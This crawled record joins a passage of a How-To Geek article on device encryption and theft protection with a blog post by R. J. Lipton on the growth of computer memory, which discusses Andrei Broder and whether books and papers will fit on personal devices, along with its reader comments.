Mode also lets you write a message that will appear on the phone or tablet—for example, you could ask whoever finds it to return it and provide a phone number where you can be reached. If you’ve given up on getting your iPhone or iPad back, you can—and should—remotely erase it. Even if it’s offline, it will be erased the next time it comes online. GrayKey could allow police departments and other government agencies to bypass your passcode, but Apple is fixing this with USB Restricted Mode. RELATED: What is "Lost Mode" on the iPhone, iPad, or Mac? Android Phones Modern Android phones are encrypted by default, too. Specifically, encryption is required by default starting with Android 7.0 Nougat, which was officially released in August, 2016. As long as the phone you’re using originally came with Android Nougat or a newer version of Android, it’s definitely encrypted. If your phone originally came with an older version of Android and you never enabled encryption, your phone’s storage may not be encrypted and it may be possible for thieves to get your data off of it. Even if your phone is currently running Android 7.0 or newer, it may not be encrypted if it originally ran an older version of Android. Of course, this encryption only helps if you’re using a secure PIN or passphrase to protect your device. If you’re not using a PIN or you’re using something easy to guess—like 1234—a thief can easily get access to your device. Just like on an iPhone, your Android phone will continue displaying notifications on your lock screen. This could expose sensitive text messages, for example, unless you hide sensitive notifications from your lock screen. You can use Google’s Find My Device to remotely locate your lost Android phone. This tool also lets you lock your device to stop the thief from seeing your notifications, and remotely wipe it to ensure your personal data is removed from the phone. Windows PCs Most Windows PCs are in trouble if they’re ever stolen. Windows 10 is still the only modern operating system that doesn’t provide encryption to all users, and Windows 7 and 8 were even worse. There’s a very good chance your Windows PC’s storage is not encrypted, which means that anyone who steals your Windows device can gain access to your private files simply by booting another operating system on it or pulling out the internal drive and putting it in another computer. If you’re using a Professional, Enterprise, or Education edition of Windows 7, 8, or 10, you can enable optional BitLocker encryption to protect your device. If you are using these more expensive editions of Windows and have set up BitLocker, then your data will be secure—assuming you used a strong password. You can check if BitLocker is in use on a PC by heading to Control Panel > System and Security > BitLocker Drive Encryption. (If you don’t see the option, you’re using a Home edition of Windows.) If you’re using a Home edition of Windows 7, 8, or 10, there is no way to use standard BitLocker encryption. Some newer PCs that shipped with Windows 8.1 or 10 do have a special, limited version of BitLocker that was originally called “Device Encryption.” This will automatically encrypt their storage—but only if you sign in with a Microsoft account and not a local user account. This encryption feature is not available on all Windows 8.1 and 10 PCs, but only on PCs with specific hardware. You can check if Device Encryption is available on a PC by heading to Settings > System > About. Look for a message about “Device Encryption.” If you don’t see this section, your PC doesn’t support it. If you’re using a Home edition of Windows, you can also try third-party encryption tools like VeraCrypt or pay $100 to upgrade from Home to Professional to get BitLocker. The bad news is that, unless you’ve gone out of your way to enable encryption with BitLocker or you have this encryption feature built into your Windows 10 PC, your PC’s internal storage is probably unencrypted and its files will be accessible to thieves. If your device ran Windows 10, you can use Microsoft’s Find My Device tool to track it—assuming Find My Device was enabled on the PC before you lost it. We think Microsoft should enable encryption by default for everyone. Unfortunately, it hasn’t done so and, among modern devices, Windows PCs are uniquely vulnerable to data theft unless BitLocker is enabled. RELATED: How to Track Your Windows 10 PC or Tablet If You Ever Lose It MacBooks Apple has been encrypting Mac storage by default with FileVault since OS X 10.10 Yosemite, which was released in 2014. Your Mac’s internal disk is almost certainly encrypted with FileVault, which prevents anyone from accessing your files without knowing your Mac password. You can double-check whether your Mac is encrypted by heading to Apple menu > System Preferences > System & Privacy > FileVault. Of course, this assumes your MacBook is secured with a password. If you use a very weak, easily guessable password or set up automatic login, the thief can easily gain access. If you enabled Find My Mac, you can use Apple’s Find My iPhone tool (yes, Macs appear in it, too) to remotely lock and erase your Mac. The passcode you set when you lock your Mac will even prevent the thief from resetting your Mac and using it as their own. Chromebooks Chromebooks always have encrypted storage, so a thief won’t be able to sign in and access your data without your Google account password or the PIN you use to unlock your Chromebook. The thief can sign in with another Google account, log into the guest account, or erase your Chromebook and set it up from scratch—but they won’t be able to access your personal data. This assumes that your Google account has a good password and not something like “password” or “letmein,” of course. Linux Laptops If you were running Linux on your laptop, whether it was encrypted depends on the options you chose while installing your Linux distribution of choice. Most modern Linux distributions, including Ubuntu, let you enable disk encryption during the installation process, and this encryption is either secured with your normal Linux user account password or with a special encryption passphrase you type when your computer boots. However, this encryption option often isn’t enabled by default—it isn’t on Ubuntu. If you didn’t choose to enable it, your Linux system will not be using encrypted storage. Assuming you did enable encryption while installing your Linux distribution, your data should be protected—as long as you used a secure password that’s hard to guess. Laptops Are More Vulnerable While Asleep There’s one more consideration for laptops: If your laptop was powered on but asleep, its encryption key is stored in its memory. Theoretically, an attacker could perform a “cold boot attack,” quickly resetting your device and booting another operating system from a USB drive to grab the encryption key from memory before it’s erased. Most thieves aren’t even going to think about an attack like this, as it’s quite sophisticated. However, if you are seriously worried about corporate espionage or government agencies, it’s safer to shut down your laptop when you aren’t using it instead of leaving it in sleep mode. You may just want to shut it down when you’re taking it to a public place or somewhere else you’re worried it may be stolen, too. This will ensure the encryption key isn’t present in memory. Image Credit: waewkid/Shutterstock.com. Chris Hoffman Chris Hoffman Chris Hoffman is Editor-in-Chief of How-To Geek. He's written about technology for over a decade and was a PCWorld columnist for two years. Chris has written for The New York Times, been interviewed as a technology expert on TV stations like Miami's NBC 6, and had his work covered by news outlets like the BBC. Since 2011, Chris has written over 2,000 articles that have been read nearly one billion times---and that's just here at How-To Geek. Read Full Bio » The above article may contain affiliate links, which help support How-To Geek.
{ "url": "https://www.howtogeek.com/359125/what-data-can-a-thief-get-from-a-stolen-phone-or-laptop/", "source_domain": "www.howtogeek.com", "snapshot_id": "crawl=CC-MAIN-2021-21", "warc_metadata": { "Content-Length": "197936", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:SNCTQDMJVSPDQDTYS7XRBF6RNM66BO44", "WARC-Concurrent-To": "<urn:uuid:36673be7-33fe-4644-96bb-decc571df41c>", "WARC-Date": "2021-05-10T05:22:52Z", "WARC-IP-Address": "199.232.66.49", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:5Y4H35U2ITPIWI4E26GB7SXHGNR672S6", "WARC-Record-ID": "<urn:uuid:3af3dbb6-6726-49de-9c41-baf7a8d8c5b9>", "WARC-Target-URI": "https://www.howtogeek.com/359125/what-data-can-a-thief-get-from-a-stolen-phone-or-laptop/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:314cf878-56bf-425d-964a-ed95e7d4d8ca>" }, "warc_info": "isPartOf: CC-MAIN-2021-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-204.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 237, 238, 443, 444, 462, 463, 689, 690, 849, 850, 1397, 1398, 1802, 1803, 1968, 1969, 2114, 2115, 2173, 2174, 2189, 2190, 2500, 2501, 2839, 2840, 3067, 3068, 3290, 3291, 3539, 3540, 3552, 3553, 4028, 4029, 4339, 4340, 4536, 4537, 5030, 5031, 5233, 5234, 5405, 5406, 5662, 5663, 5816, 5817, 6025, 6026, 6097, 6098, 6107, 6108, 6381, 6382, 6511, 6512, 6688, 6689, 6947, 6948, 6960, 6961, 7144, 7145, 7329, 7330, 7447, 7448, 7462, 7463, 7888, 7889, 8062, 8063, 8230, 8231, 8272, 8273, 8609, 8610, 9083, 9084, 9124, 9125, 9153, 9599, 9615, 9616 ], "line_end_idx": [ 237, 238, 443, 444, 462, 463, 689, 690, 849, 850, 1397, 1398, 1802, 1803, 1968, 1969, 2114, 2115, 2173, 2174, 2189, 2190, 2500, 2501, 2839, 2840, 3067, 3068, 3290, 3291, 3539, 3540, 3552, 3553, 4028, 4029, 4339, 4340, 4536, 4537, 5030, 5031, 5233, 5234, 5405, 5406, 5662, 5663, 5816, 5817, 6025, 6026, 6097, 6098, 6107, 6108, 6381, 6382, 6511, 6512, 6688, 6689, 6947, 6948, 6960, 6961, 7144, 7145, 7329, 7330, 7447, 7448, 7462, 7463, 7888, 7889, 8062, 8063, 8230, 8231, 8272, 8273, 8609, 8610, 9083, 9084, 9124, 9125, 9153, 9599, 9615, 9616, 9694 ] }
{ "red_pajama_v2": { "ccnet_original_length": 9694, "ccnet_original_nlines": 92, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.43231001496315, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.012078509666025639, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.15400101244449615, "rps_doc_frac_unique_words": 0.3141104280948639, "rps_doc_mean_word_length": 4.792637825012207, "rps_doc_num_sentences": 84, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.52549934387207, "rps_doc_word_count": 1630, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.0632360503077507, "rps_doc_frac_chars_dupe_6grams": 0.03661033883690834, "rps_doc_frac_chars_dupe_7grams": 0.0276497695595026, "rps_doc_frac_chars_dupe_8grams": 0.00870455987751484, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.007680490147322416, "rps_doc_frac_chars_top_3gram": 0.007680490147322416, "rps_doc_frac_chars_top_4gram": 0.007168460171669722, "rps_doc_books_importance": -902.49365234375, "rps_doc_books_importance_length_correction": -902.49365234375, "rps_doc_openwebtext_importance": -517.6541748046875, "rps_doc_openwebtext_importance_length_correction": -517.6541748046875, "rps_doc_wikipedia_importance": -452.1342468261719, "rps_doc_wikipedia_importance_length_correction": -452.1342468261719 }, "fasttext": { "dclm": 0.023354889824986458, "english": 0.9108017683029175, "fineweb_edu_approx": 2.1373836994171143, "eai_general_math": 0.05079125985503197, "eai_open_web_math": 0.10667312145233154, "eai_web_code": 0.03367215022444725 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.82", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.67", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "10", "label": "Knowledge Article" }, "secondary": { "code": "23", "label": "Tutorial" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "1", "label": "General Audience" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-2,911,376,318,812,339,700
Skip to content What Is Big? What Is Small? December 16, 2010 How does the growth in computer memory change applications Andrei Broder is one of the top experts in computational theory, and is especially famous for his work on algorithms. A recurrent theme that makes his work so wonderful is that some of his best theoretical work is also extremely practical. No galactic algorithms for Andrei. Today I want to talk about computer memory, and how applications need for memory can shape them. Broder’s work on the “power of two” phenomena with Yossi Azar, Anna Karlin, Eli Upfal is some of the best algorithmic work ever. Mathematicians and theorists have been studying the throwing of {n} balls into {n} bins for decades. It was a huge surprise that after such intensive study, Broder and his colleagues could discover a method which exponentially improved the previous best results. The maximum number of balls in a bin grows logarithmically; they show that allowing two choices reduced this growth to {\ln \ln n /\ln 2 + \Theta(1)}. A beautiful result—take a look at their paper or the many versions of it on the Web. It is a classic. Broder also has worked on the question of large data sets—at least indirectly. He was a central figure in one of the best early search engines, AltaVista. For a while Broder was the chief scientist of AltaVista. While Google is now the dominant search engine, AltaVista introduced many important features into searching, features that we now take for granted. He also helped make AltaVista the search engine for several years. He is now at Yahoo and works on search and computational advertising. Andrei once told me that when AltaVista was first implemented it was available only internally to DEC employees. In order to update the data structures that stored the search information, they did a re-make of the system during the night. This meant that the search engine was not available for about 30 minutes late each night. Andrei said that they quickly began to get heated complaints that said “what’s up, I need the search engine now.” And far worse complaints. Broder said that the AltaVista team realized that DEC employees all over the world were using the engine. There was no good time to stop the search engine, so that they could update the tables. None. Late east coast in the US was a just fine time to be working somewhere else. So the team re-implemented the entire AltaVista engine. They had to rebuild it completely so that the updates could happen while the engine was running. Andrei told me this made a big impression on him—successful tools like AltaVista had to run 24/7. Users expected it to always be available: every day, every hour, every minute. Three Points About Memory Let me make three points—you did not expect four? They are about the growth and need of computer memory. 1. Need for memory will continue to grow forever: \displaystyle \text{memory} \ \rightarrow \aleph_1. 2. Ability to deliver cheap memory will continue to grow for many years: \displaystyle \text{memory} \ \rightarrow \aleph_0. 3. Some requirements of memory will plateau. \displaystyle \text{memory} \ \rightarrow \ \text{limit}. (1) The memory needed will continue to grow. I doubt this will be a shock to anyone. In the history of computing the one quantity that we have consistently underestimated is memory—or space as we say in complexity theory. There will always be applications that need more memory than is currently available. (2) The memory available will continue to grow, but there may be limits. The key word is may. As I said many times, it is very hard to prove physical limits. Perhaps twenty years from now people will be shocked that we now use electrons to store information, perhaps they will use some exotic quantum effect. Who knows. I used the math symbol {\aleph_1} and later {\aleph_0} to make the point that the need for memory is going to continue to grow toward a potentially larger “infinity,” than the amount of memory available. Of course this is only an approximate notion: it is quite an abuse of these symbols {\aleph_0,\aleph_1}, since there is not a different type of infinity involved here. But it is fun to pretend. The cost of memory is still going down rapidly. Moore’s Law on the decrease in the cost of cycles seems to be slowing, but there are indications that flash memory is decreasing still at a phenomenal rate: at least 50 per cent per year. (3) The memory needed for some applications will plateau. Let me discuss that next. Plateau? Anyone who bets against the need for more memory in the future is probably wrong. Also anyone who bets against the industry’s ability to continue to make more and cheaper memory available is also probably wrong. The later point is of course a bit of a paradox: there must be some physical limits on the amount of bits that we will be able to buy cheaply. There must be some limit. But again seeing where that limit will be and when we will hit it seems very difficult. However, I do believe that the requirements for memory for some applications will plateau. Let me be clear I think there will continue to be new applications that require more and more memory. Years ago no one would have guessed that we all would have videos on our machines, or even just audio. In the near future I could imagine that we may start to have immersive 3-D environments. These could require astronomical amounts of memory—amounts that are way beyond anything available today. So what is the point? I think the key insight is that some applications’ memory requirements will stop growing or at least not grow as fast as the growth in available memory. They will change from being at the edge of what can be stored, needing huge amounts of memory, and move to what can routinely be stored. The reason for this is that some memory requirements are based on social limits, and others on physical limits. Call an application small if its data set is easily stored in memory today, and large if it cannot. Here is an example of a data set that changed from large to small: {\bullet } The Dictionary: There was a time when storing on your computer any dictionary, not the OED, was out of the question. Now you get realtime spell correction, which I could not possibly do without. The reason this application’s memory needs reached a plateau is that the number of words we use is not increasing fast, if at all. Here are two examples of data sets that will flip, in my opinion, to be small in the near future. {\bullet } Technical Papers: Today there are applications like Citeseer that contain about one million papers. The total storage for this is beyond the ability of most of us to store on our laptops. But this should change in the near future. The issue is that the number of papers will continue to grow, but will unlikely grow as fast as memory increases. If this is the case then an implication is that in the future we could have all the technical papers from an area on our own devices. Just as realtime spelling is useful, realtime access to technical papers seems to be a potentially exciting development. This prediction could wrong in at least two ways that I can think of: papers could start to contain much richer data types. They might start to contain videos, or simulations, or animations. I might argue that they would then not be papers, but would be a new type of object, with new applications. Another way I could be wrong is: what if papers start to be written by automatic agents. This could lead to a huge explosion in papers. Imagine a world where “robot” authors create papers that summarize other papers, or re-write papers for a less expert audience, or who knows what. Perhaps. {\bullet } Books: Right now there are too many books, even restricted to a subfield like mathematics, to have all of them stored on a single cheap device. But this large—huge—amount of memory could easily become a small one in the future. The reason I think this could happen is again related to the above point about papers. As long as they are written by people, there is an inherent limit to how many books there can be. Even if every mathematician wrote a book a month, the number of bytes would not remain large. At some point it would become small. In this future we could have a device that already has every book on your favorite topic. Then you would not need a connection to search, browse, and read them. There might be interesting questions about costs. How would authors be payed in this world: would they get money as their book is read? Not when it is included in a device? Seems like a number of interesting questions. Open Problems I think that there will be fundamental shifts in many applications as their memory requirements change from large to small. What do you think will happen? Are there interesting research questions that we should be working on? Advertisements 16 Comments leave one → 1. December 16, 2010 10:54 am “there must be some physical limits on the amount of bits that we will be able to buy cheaply” — I think this limit will not be a problem in near future, but today we have more important limit: the limit to buy books and articles via Internet. The price about $40US to read a new paper only to see that this paper is not interesting for you, seems important problem for our colleagues in the world. 2. December 16, 2010 11:13 am The current state of the technology is often a limiting factor. I’ve seen organizations collect way more data than they can mine. The data collection is comparatively easy compared to mining it with our modern (crude) software construction methods. As for books and paper and such, I could see them eventually plateauing. If we learn how to extract the knowledge out from under them, then that entire ‘unique’ knowledge base will eventually slow down in growth (but still be infinite). The end-products themselves would be mere presentation layers (in specific voices) applied to the raw data. They would continue to grow, but again at a reduced rate. On the other hand I think simulations/models would continue to need an endless about of memory. That is, to get an increasingly accurate model, we would need more and more depth and smaller and smaller time periods. At its limits, we might be interested in simulating the entire universe at microseconds, which would require more particles as a machine then the universe itself actually contains (since time acts as a multiplier). Paul. 3. December 16, 2010 12:46 pm This sort of gets into the Ray Kurzweil augmented reality land : 2018 * 10^13 bits of computer memory—roughly the equivalent of the memory space in a single human brain—will cost $1000. 2020 * One personal computer will have the same processing power as a human brain. A computer passes the Turing test by the last year of the decade (2029), meaning that it is a Strong AI and can think like a human (though the first A.I. is likely to be the equivalent of a very stupid human). This first A.I. is built around a computer simulation of a human brain, which was made possible by previous, nanotech-guided brainscanning. 2045: The Singularity * $1000 buys a computer a billion times more intelligent than every human combined. This means that average and even low-end computers are vastly smarter than even highly intelligent, unenhanced humans. * The technological singularity occurs as artificial intelligences surpass human beings as the smartest and most capable life forms on the Earth. 4. Proaonuiq permalink December 16, 2010 1:12 pm Nice post. You say that ” Another way I could be wrong is: what if papers start to be written by automatic agents. This could lead to a huge explosion in papers. Imagine a world where “robot” authors create papers that summarize other papers, or re-write papers for a less expert audience, or who knows what. Perhaps”. According to this New Scientist article this is already hapening: theorems à la carte ! Waiter, one of P!=NC please ! http://www.newscientist.com/article/dn19809-mathematical-immortality-give-a-theorem-your-name.htmlb 5. Michael Mitzenmacher permalink December 16, 2010 3:08 pm Since I literally would not have had a PhD thesis without the power-of-two-choices paper, and since Andrei generously mentored me for several years, I’m glad to see him and his work acknowledged so nicely in the blog. He is a truly inspirational algorithmist. Among his other notable accomplishments are co-developing some of the first CAPTCHAs, and demonstrating the “bow-tie” structure of the Internet graph. A course on Andrei’s papers would be a fascinating exploration of how the growth of the Web has affected algorithms (up to and including today). • rjlipton permalink* December 22, 2010 4:14 pm Mike, Thanks. I agree Andrei is special. 6. December 16, 2010 3:30 pm Books may indeed be getting close to being considered ‘small’. The following paper appearing today has analyzed data estimated to contain ‘4% of all books ever printed” http://www.sciencemag.org/content/early/2010/12/15/science.1199644 • December 16, 2010 7:16 pm Oz’s post is terrific — the article he links to includes Steven Pinker, Martin A. Nowak, Peter Norvig, and the entire “Google Books Team” as its authors. It is perfectly feasible to search their immense database—just visit the site Google has set-up for this purpose: “http://ngrams.googlelabs.com” Here are a few quick impressions of Google amazing database, associated to five specific lexigraphic searches: Human concerns that never fade “war,peace,food,children,home,health,happiness,liberty”. Sobering lexicography for engineers: “mechanical engineering,electrical engineering,chemical engineering,systems engineering”. Sobering lexicography for mathematicians: “naturality,complexity class,algebraic variety,diffeomorphic,graph isomorphism”. Sobering lexicography for financiers: “computer trading,automated trading,commodities trading,options trading”. Exponentially-growing career options: “vampire,zombie,troll,werewolf,tattoo” 🙂 The same most-recent issue of Science profiles physics grad student Aaron O’Connell in an article titled Breakthrough of the Year: Bridging the Quantum and the Classical Worlds. If more people shared my enthusiasm for what I’m doing, I would more likely continue on in the sciences,” says O’Connell, who defended his thesis last week. But “it’s hard to keep telling yourself that what you’re doing is important when everybody you talk to seems to think what you’re doing is not important.” Besides, “all the rewards you get as a grad student and a postdoc … are [in] knowing that you’ve done something that no one else has done, or … a select few in the physics community telling you you did a good job, and that doesn’t happen very often,” he adds. So “I think I am going to go to finance, because at least they compensate you monetarily there.” Hmmm … perhaps no-one has told Aaron that today’s fastest-expanding career options for young people—by far—are “vampire,zombie,troll,werewolf, tattoo”. It appears that now that humanity is gaining free access (thanks, Google!) to the contents of our own near-infinite cultural memory … the contents of that memory are neither as reassuring nor as evidently useful, as we might wish. Yikes! 7. johne permalink December 17, 2010 8:27 pm One thing that I have found fascinating is a question that can be roughly stated as: “What is the bandwidth in bits per second for your senses?” Vision is probably the highest, followed by hearing, with everything else falling off pretty quickly. But there clearly is some number, and I think few would argue that there is some kind of an upper bound to the number. This raises an interesting possibility that: “There is a limit to the amount of bandwidth you can consume, and at some point more bits per second / fidelity exceeds what you are capable of experiencing.” Then you can start to do entropy analysis on the bit stream. It seems like a safe bet that such a bit stream can be losslessly compressed to some degree. How about when you add lossy compression? To put this in context, how much lossy compression has taken place about the experience that represented you eating lunch yesterday. With H.264 video compression and MP3 audio compression, we can get a fairly reasonable approximation as to what it would take to capture a “essentially lossless” representation of what is probably the two highest bit rate senses. Now, take that result, and extrapolate. How many gigabytes of data does it take to represent your experience for a 24 hour period? And just keep going- how much data does it take to represent your entire life experience up to this point? And this is for an “essentially lossless” representation. Which brings us back to the topic of the original post: At what point can you carry around on an iPod an “essentially lossless” representation of your lifes experience? Now throw in a Google like search engine for your experiences. Read an article 20 or 30 years ago? You’ll have a perfect copy of it. I find this fascinating. Once you get it down to numbers like this, you almost have to ask “Since my life will only be able to represent x bits, how do I make the most of it?” Another interesting question is “How much bandwidth do I generate as a consequence of my life? What fraction of that is ‘captured’ by others as bits that are worth keeping?” • December 18, 2010 2:20 pm There are people, currently living, who remember everything that has ever happened to them. They can give a perfect recounting of information about any second of any day in their lives that you choose. Scientists are studying the half a dozen folks who have this ability in order to try and understand if there are structural, physical differences to their brains. The conventional wisdom was that perfect recall would leave a person mentally or socially incapacitated in some way. These people are perfectly functioning, perfectly sane. In order to address your question, one would probably try to push the limits of their capacity in a structured environment. Which may well, be on the list of tests to perform. The kind of data you are addressing is context dependent. I outgrew my need for training wheels when I physically understood the effects of gravity on a two wheeled conveyance with a shifting mass balanced between the wheels. Do I need to retain the information on training wheels and how to utilize them when riding a bicycle or motorcycle or unicycle? Probably not. However, if I am to teach someone how to use training wheels, it is helpful to access that information in order to make the learning process clear to that other person. But it would be interesting to see if memory hoarders would develop in the same way material hoarders have been cultivated in our current society. 8. December 18, 2010 4:37 am This was an interesting post to read. Thank you. I think your point about technical papers going the way of the dictionary is interesting. Currently, it seems like the trend in systems is to push more and more data storage “into the cloud.” There are plenty of good security and reliability reasons for doing this. However, your post makes it clear that it may become increasingly cheap to simply store all of your data locally. I wonder if and how these two trends interact. 9. Jamie Oglethorpe permalink December 26, 2010 2:43 am All the examples centered on human experience, our books, the papers ever published, our life experience, the output of all security cameras for example, seem to be ultimately small. With Moore’s Law operating on disk drives and flash memory, the time scale for these things to become small is not too long, certainly within this century. Things that are large seem to be natural observations. The most obvious example is the huge dataset being built up by astronomers of the observable universe. I cannot imagine them being satisfied with any resolution they can achieve, any time scale or any portion of the electromagnetic spectrum, or other observables such as neutrinos or gravity waves when they become observable. Imagine we find a way of observing dark matter directly. Other examples would include ever finer observation of the weather. As for simulations, remember that there is always the tradeoff between time and space. The point of a simulation is that you can repeat it, so you don’t need to keep all the intermediate steps. This strikes me as aleph null (we only keep the final result) not aleph one (we keep all the intermediate results as well). 10. December 31, 2010 1:21 am You can actually calculate the approximate date at which all books can be stored uncompressed on your laptop. It’s 2025. About when next year’s kindergarteners enter college. The Google corpus contains 500B words representing approximately 4% of all books, so that’s a total of 12.5 trillion words in all books printed to date. At an average 6 bytes per word, that’s about 70 TB, growing to about 400TB by 2100 assuming 6x growth rate per century (Google’s paper cited the words/year grew by 5.71 from 1900 to 2000). Meanwhile, laptops currently ship with about 0.5TB and double every two years. These two exponential curves cross in 2025. I think the actual year will be much sooner than that, 2020 at the latest. For one thing, even just GZIP compression gets you at least 3x ( http://www.maximumcompression.com/data/text.php ) and that’s enough to pull in the year to 2020 or 2021. For another, by then most of the world’s printed text will be unavailable due to copyright/DRM issues. In any case, it’s not far off. • rjlipton permalink* December 31, 2010 1:43 pm Michael, Nice calculation. That is less than ten years….great Trackbacks 1. Tweets that mention What Is Big? What Is Small? « Gödel’s Lost Letter and P=NP -- Topsy.com 2. Thanks For Sharing « Gödel’s Lost Letter and P=NP Leave a Reply Fill in your details below or click an icon to log in: WordPress.com Logo You are commenting using your WordPress.com account. Log Out /  Change ) Google+ photo You are commenting using your Google+ account. Log Out /  Change ) Twitter picture You are commenting using your Twitter account. Log Out /  Change ) Facebook photo You are commenting using your Facebook account. Log Out /  Change ) Connecting to %s
{ "url": "https://rjlipton.wordpress.com/2010/12/16/what-is-big-what-is-small/", "source_domain": "rjlipton.wordpress.com", "snapshot_id": "crawl=CC-MAIN-2018-43", "warc_metadata": { "Content-Length": "121806", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:YBEKXSS4QNBXEBLK75NRRLST7AS3SE67", "WARC-Concurrent-To": "<urn:uuid:43fdb7c7-f1c6-4c15-ac17-9ae04be41f83>", "WARC-Date": "2018-10-15T08:51:41Z", "WARC-IP-Address": "192.0.78.13", "WARC-Identified-Payload-Type": "application/xhtml+xml", "WARC-Payload-Digest": "sha1:26B5EAHBITFPUB4GA5TAU56BKSQ4YP7I", "WARC-Record-ID": "<urn:uuid:81e44ab0-2ab1-407d-b46a-5a80eef4bc83>", "WARC-Target-URI": "https://rjlipton.wordpress.com/2010/12/16/what-is-big-what-is-small/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:df131242-2f6b-4504-bfaa-63591bd8a5d9>" }, "warc_info": "isPartOf: CC-MAIN-2018-43\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for October 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-61-222-208.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 16, 17, 45, 46, 64, 65, 66, 125, 126, 401, 402, 499, 500, 1145, 1146, 1643, 1644, 1973, 1974, 2045, 2046, 2089, 2090, 2393, 2394, 2724, 2725, 2751, 2752, 2857, 2858, 2910, 2911, 2967, 2968, 3043, 3044, 3100, 3101, 3148, 3149, 3211, 3212, 3519, 3520, 3840, 3841, 4239, 4240, 4476, 4477, 4561, 4562, 4571, 4572, 5041, 5042, 5532, 5533, 5957, 5958, 6125, 6126, 6463, 6464, 6562, 6563, 7174, 7175, 7474, 7475, 7767, 7768, 8007, 8008, 8324, 8325, 8705, 8706, 8720, 8721, 8947, 8948, 8963, 8987, 9019, 9020, 9423, 9424, 9456, 9457, 9710, 9711, 10118, 10119, 10554, 10555, 10565, 10566, 10598, 10599, 10668, 10669, 10678, 10679, 10799, 10800, 10809, 10810, 10892, 10893, 11247, 11248, 11274, 11275, 11482, 11632, 11633, 11658, 11688, 11689, 11704, 11705, 12017, 12018, 12110, 12144, 12145, 12249, 12250, 12286, 12316, 12317, 12877, 12878, 12904, 12936, 12937, 12949, 12950, 12991, 12992, 13023, 13024, 13091, 13144, 13205, 13206, 13277, 13278, 13310, 13311, 13616, 13617, 13734, 13735, 13829, 13830, 13963, 13964, 14093, 14094, 14212, 14213, 14298, 14299, 14483, 14484, 14647, 14648, 14809, 14810, 15076, 15077, 15180, 15181, 15339, 15340, 15584, 15585, 15606, 15636, 15637, 15726, 15727, 15791, 15792, 16062, 16063, 16226, 16227, 16560, 16561, 17091, 17092, 17398, 17399, 17753, 17754, 17786, 17787, 17995, 17996, 18165, 18166, 18345, 18346, 18528, 18529, 18889, 18909, 18910, 19085, 19086, 19239, 19240, 19271, 19272, 19752, 19753, 19785, 19815, 19816, 20159, 20160, 20671, 20672, 20994, 20995, 21027, 21028, 21207, 21208, 21677, 21678, 22030, 22031, 22066, 22067, 22093, 22125, 22126, 22141, 22142, 22201, 22202, 22213, 22214, 22311, 22366, 22367, 22381, 22382, 22437, 22438, 22457, 22458, 22531, 22532, 22546, 22547, 22614, 22615, 22631, 22632, 22699, 22700, 22715, 22716, 22784, 22785 ], "line_end_idx": [ 16, 17, 45, 46, 64, 65, 66, 125, 126, 401, 402, 499, 500, 1145, 1146, 1643, 1644, 1973, 1974, 2045, 2046, 2089, 2090, 2393, 2394, 2724, 2725, 2751, 2752, 2857, 2858, 2910, 2911, 2967, 2968, 3043, 3044, 3100, 3101, 3148, 3149, 3211, 3212, 3519, 3520, 3840, 3841, 4239, 4240, 4476, 4477, 4561, 4562, 4571, 4572, 5041, 5042, 5532, 5533, 5957, 5958, 6125, 6126, 6463, 6464, 6562, 6563, 7174, 7175, 7474, 7475, 7767, 7768, 8007, 8008, 8324, 8325, 8705, 8706, 8720, 8721, 8947, 8948, 8963, 8987, 9019, 9020, 9423, 9424, 9456, 9457, 9710, 9711, 10118, 10119, 10554, 10555, 10565, 10566, 10598, 10599, 10668, 10669, 10678, 10679, 10799, 10800, 10809, 10810, 10892, 